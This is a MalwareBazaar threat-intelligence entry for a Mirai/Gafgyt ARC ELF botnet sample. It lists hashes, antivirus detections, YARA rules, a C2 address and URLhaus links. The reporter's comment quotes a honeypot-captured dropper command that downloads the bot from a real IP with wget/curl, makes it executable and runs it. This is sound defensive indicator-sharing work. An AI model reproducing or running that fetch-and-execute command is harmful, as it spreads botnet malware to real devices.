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MalwareBazaar Database

You are currently viewing the MalwareBazaar entry for SHA256 e897f0c0bc381f9e0b93af0e689114eb862698e512ef7cfaed97b1a65da5bfbf. While MalwareBazaar tries to identify whether the sample provided is malicious or not, there is no guarantee that a sample in MalwareBazaar is malicious.

Database Entry


Mirai


Vendor detections: 9


Intelligence 9 IOCs YARA 11 File information Comments
Download sample Add tag Delete this sample Report a False Positive

SHA256 hash: e897f0c0bc381f9e0b93af0e689114eb862698e512ef7cfaed97b1a65da5bfbf
SHA3-384 hash: 3895716653b82a88652463b6a48db5993300e8c474926fba2fc927bec2f2cf16173da6d0e1a10876387dbae19f16d99e
SHA1 hash: 0a109f60d60ae04be4e3cb4accf58555cd918444
MD5 hash: 15af35c06322a051b5ab2bea98c17d5b
humanhash: florida-enemy-oranges-muppet
File name:Space.arc
Download: download sample
Signature Mirai
Create hunting rule
File size:115'992 bytes
First seen:2026-10-15 18:06:20 UTC
Last seen:2026-10-15 21:50:51 UTC
File type: elf
MIME type:application/x-executable
ssdeep 1536:pkA9afIgfNMW3zC8aRGGTtJM/qrlpmxJ6nDgJ0/LWW:6fIw3e8ZE3MYlphDgJ0q
TLSH T1F9B3AEEBF64715A2C85243F013C79F8E3E232290AE57A4E76D1E267B15760DB1D0AB81
TrID 50.1% (.) ELF Executable and Linkable format (Linux) (4022/12)
49.8% (.O) ELF Executable and Linkable format (generic) (4000/1)
Magika elf
Reporter ksi_digital
Tags:arc cowrie elf gafgyt honeypot mirai


Avatar
ksi_digital
Gafgyt DDoS bot (ELF 32-bit arc executable, 115992 bytes). Delivered to our Cowrie Telnet honeypot by 212.10.126.136 via http://91.92.43.221/hiddenbin/Space.arc at 2026-10-15 18:03:11 UTC: the session ran `#!/bin/bash
ulimit -n 1024
cp /bin/busybox /tmp/
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://91.92.43.221/hiddenbin/Space.arc; curl -O http://91.92.43.221/hiddenbin/Space.arc;cat Space.arc >Space;chmod +x *;./Space
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget ht`, Cowrie fetched the URL and stored this file (sha256 e897f0c0bc381f9e0b93af0e689114eb862698e512ef7cfaed97b1a65da5bfbf). Considered malicious because the family-specific Elastic YARA rule Linux_Trojan_Gafgyt_28a2fe0c matches the file (static scan). Static classification only: the file was quarantined on our gateway and never executed.

Intelligence

File Origin
# of uploads :
2
# of downloads :
104
Origin country :
CH CH
Vendor Threat Intelligence
No detections
Detection(s):
Sanesecurity.Malware.29325.LC.Pl.UNOFFICIAL
Create hunting rule

Sanesecurity.Malware.30435.LC.UNOFFICIAL
Create hunting rule

SecuriteInfo.com.Linux.Mirai-61.UNOFFICIAL
Create hunting rule

SecuriteInfo.com.Linux.Mirai-81.UNOFFICIAL
Create hunting rule

Unix.Dropper.Mirai-10007027-0
Create hunting rule

Unix.Dropper.Mirai-7135897-0
Create hunting rule

Unix.Dropper.Mirai-7135901-0
Create hunting rule

Unix.Dropper.Mirai-7135909-0
Create hunting rule

Unix.Dropper.Mirai-7135918-0
Create hunting rule

Unix.Dropper.Mirai-7135954-0
Create hunting rule

Unix.Dropper.Mirai-7136013-0
Create hunting rule

Unix.Dropper.Mirai-7136016-0
Create hunting rule

Unix.Dropper.Mirai-7136028-0
Create hunting rule

Unix.Dropper.Mirai-7136057-0
Create hunting rule

Unix.Trojan.Mirai-10009361-0
Create hunting rule

Unix.Trojan.Mirai-10011027-0
Create hunting rule

Unix.Trojan.Mirai-10011918-0
Create hunting rule

Unix.Trojan.Mirai-7100807-0
Create hunting rule

Unix.Trojan.Mirai-7135916-0
Create hunting rule

Unix.Trojan.Mirai-8025795-0
Create hunting rule

Unix.Trojan.Mirai-9441505-0
Create hunting rule

Unix.Trojan.Mirai-9858729-0
Create hunting rule

YARA.SIGNATURE_BASE_MAL_ELF_Xlogin_Nov24_1.UNOFFICIAL
Create hunting rule

Verdict:
Likely Malicious
Threat level:
  7.5/10
Confidence:
100%
Tags:
masquerade obfuscated
Link:
https://www.filescan.io/uploads/6ad116569ca90ca440103df2/reports/11f1a0ec-e53d-4026-be70-f3456923964d/overview
Verdict:
Malicious
File Type:
elf.32.le
First seen:
2026-10-15T16:06:00Z UTC
Last seen:
2026-10-16T15:08:00Z UTC
Hits:
~100
Link:
https://opentip.kaspersky.com/e897f0c0bc381f9e0b93af0e689114eb862698e512ef7cfaed97b1a65da5bfbf/results?tab=lookup
Status:
terminated
Link:
https://sandbox.kunai.rocks/analysis/e5f8b86f-fc82-4366-a77f-3374e0a812e3
Behavior Graph:
Download SVG
%3 guuid=d4f85089-1600-0000-b125-ccd0d40d0000 pid=3540 /usr/bin/sudo guuid=8f9fc18c-1600-0000-b125-ccd0d50d0000 pid=3541 /tmp/sample.bin guuid=d4f85089-1600-0000-b125-ccd0d40d0000 pid=3540->guuid=8f9fc18c-1600-0000-b125-ccd0d50d0000 pid=3541 execve
Verdict:
Unknown
Link:
https://analyze.intezer.com/analyses/318f3a90-cb6b-4c65-939a-26eabc790c8b
Score:
100%
Verdict:
Malware
File Type:
ELF
Link:
https://malprob.io/report/e897f0c0bc381f9e0b93af0e689114eb862698e512ef7cfaed97b1a65da5bfbf
Detection:
mirai
Create hunting rule
Link:
https://mwdb.cert.pl/sample/e897f0c0bc381f9e0b93af0e689114eb862698e512ef7cfaed97b1a65da5bfbf/
Threat name:
Linux.Worm.Mirai
Create hunting rule
Status:
Malicious
First seen:
2026-10-15 18:07:24 UTC
File Type:
ELF32 Little (Exe)
AV detection:
23 of 36 (63.89%)
Threat level:
  5/5
Detection(s):
Suspicious file
Link:
https://check.spamhaus.org/check/?searchterm=5cl7bqf4hapz4c4tv4hgreiu5odcnghfclxxz6xns6y2mxnfx67q._file
Result
Malware family:
mirai
Create hunting rule
Score:
  10/10
Tags:
family:mirai botnet:lzrd botnet linux
Link:
https://tria.ge/reports/261015-wqd43avs6l/
Malware Config
C2 Extraction:
91.92.43.221
Please note that we are no longer able to provide a coverage score for Virus Total.
Threat name:
Mirai
Score:
0.90
Link:
https://yomi.yoroi.company/submissions/e897f0c0bc381f9e0b93af0e689114eb862698e512ef7cfaed97b1a65da5bfbf

YARA Signatures

MalwareBazaar uses YARA rules from several public and non-public repositories, such as YARAhub and Malpedia. Those are being matched against malware samples uploaded to MalwareBazaar as well as against any suspicious process dumps they may create. Please note that only results from TLP:CLEAR rules are being displayed.

Rule name:CP_Script_Inject_Detector
Create hunting rule
Author:DiegoAnalytics
Description:Detects attempts to inject code into another process across PE, ELF, Mach-O binaries
Rule name:deepfield_qtxbot_mirai_xor_table
Create hunting rule
Author:Nokia Deepfield ERT
Description:morte/Kurayami-lineage Mirai fork table: qtxbot and GhostWuzHere666 XOR-0x22 encoded
Rule name:ELF_Toriilike_persist
Create hunting rule
Author:4r4
Description:Detects Torii IoT Botnet (stealthier Mirai alternative)
Reference:Identified via researched data
Rule name:F01_s1ckrule
Create hunting rule
Author:s1ckb017
Rule name:linux_generic_ipv6_catcher
Create hunting rule
Author:@_lubiedo
Description:ELF samples using IPv6 addresses
Rule name:Linux_Trojan_Gafgyt_28a2fe0c
Create hunting rule
Author:Elastic Security
Rule name:MAL_ELF_Xlogin_Nov24_1
Create hunting rule
Author:Florian Roth
Description:Detects xlogin backdoor samples
Reference:https://blog.sekoia.io/solving-the-7777-botnet-enigma-a-cybersecurity-quest/
Rule name:SUSP_XORed_Mozilla_Oct19
Create hunting rule
Author:Florian Roth
Description:Detects suspicious single byte XORed keyword 'Mozilla/5.0' - it uses yara's XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.
Reference:https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force()
Rule name:SUSP_XORed_Mozilla_RID2DB4
Create hunting rule
Author:Florian Roth
Description:Detects suspicious XORed keyword - Mozilla/5.0
Reference:Internal Research
Rule name:TH_Generic_MassHunt_Linux_Malware_2026_CYFARE
Create hunting rule
Author:CYFARE
Description:Generic Linux malware mass-hunt rule - 2026
Reference:https://cyfare.net/
Rule name:unixredflags3
Create hunting rule
Author:Tim Brown @timb_machine
Description:Hunts for UNIX red flags

File information

The table below shows additional information about this malware sample such as delivery method and external references.

Web download

Mirai

sh 137dd2d597788a6d2ec395126fafadc3fa3522f78494dada1d3910b772be48b3

Mirai

elf e897f0c0bc381f9e0b93af0e689114eb862698e512ef7cfaed97b1a65da5bfbf

(this sample)

  
Delivery method
Distributed via web download
  
URLhaus
https://urlhaus.abuse.ch/url/3950561/
  
URLhaus
https://urlhaus.abuse.ch/url/3950591/
  
URLhaus
https://urlhaus.abuse.ch/url/3950614/
  
URLhaus
https://urlhaus.abuse.ch/url/3950625/
  
URLhaus
https://urlhaus.abuse.ch/url/3950632/
  
Dropped by
SHA256 137dd2d597788a6d2ec395126fafadc3fa3522f78494dada1d3910b772be48b3
  
Dropped by
MD5 c1f39545441ad6e2b42b8ee4ed4666ba
  
URLhaus
https://urlhaus.abuse.ch/url/3950572/
  
URLhaus
https://urlhaus.abuse.ch/url/3950643/
  
URLhaus
https://urlhaus.abuse.ch/url/3950645/
  
URLhaus
https://urlhaus.abuse.ch/url/3950646/
  
URLhaus
https://urlhaus.abuse.ch/url/3950648/

Comments